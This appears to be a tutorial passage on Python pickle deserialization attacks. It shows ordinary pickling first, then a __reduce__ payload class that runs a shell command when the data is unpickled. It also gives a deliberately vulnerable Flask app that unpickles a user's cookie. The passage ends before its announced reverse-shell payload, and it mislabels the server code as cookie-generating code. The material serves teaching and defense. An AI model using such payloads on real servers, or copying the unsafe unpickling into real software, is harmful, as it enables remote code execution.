Use pickle.dumps for serialization and pickle.loads for deserialization:
import pickle
class User:
def __init__(self, name, age):
self.name = name
self.age = age
def summary(self):
return f"{self.name} is {self.age} year(s) old."
keanu_reeves = User('Keanu Reeves', 490)
serialized = pickle.dumps(keanu_reeves)
print(f"{serialized = }")
keanu_2077 = pickle.loads(serialized)
print(keanu_2077.summary())
__reduce__()
Motivation: Whenever you try to pickle an object, there will be some properties that may not serialize well. For instance, an open file handle. In this case, pickle won't know how to handle the object and will throw an error.
Solution: To overcome this barrier, pickle implemented the __reduce()__ method. __reduce__() is a special method that is referenced when we are serializing data. The reduce function essentially tells the pickle library how to serialize the object. Then, when we are unserializing the data, this information is used to rebuild the object.
The following code will generate a payload that executes id:
import pickle
class GNAT:
def __reduce__(self):
import os
return (os.system, ('id',))
serialized = pickle.dumps(GNAT())
print(serialized)
Attack Scenario
Suppose there is a Windows server running a web app that serializes user cookie using pickle. The following code will generate a cookie that executes the reverse shell payload:
import pickle
import base64
from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def index():
try:
user = base64.b64decode(request.cookies.get('user'))
user = pickle.loads(user)
username = user["username"]
except:
username = "Guest"
return "Hello %s" % username
if __name__ == "__main__":
app.run()
The cookie user is deserialized by pickle.loads(). Since the cookie is a type of user-controlled data, this Flask web app is vulnerable to Python unpickle deserialization attack.
Solution
We are going to create a malicious object containing the reverse shell payload and send it to the server. On the server side, the Flask web app will deserializes the malicious payload and execute it: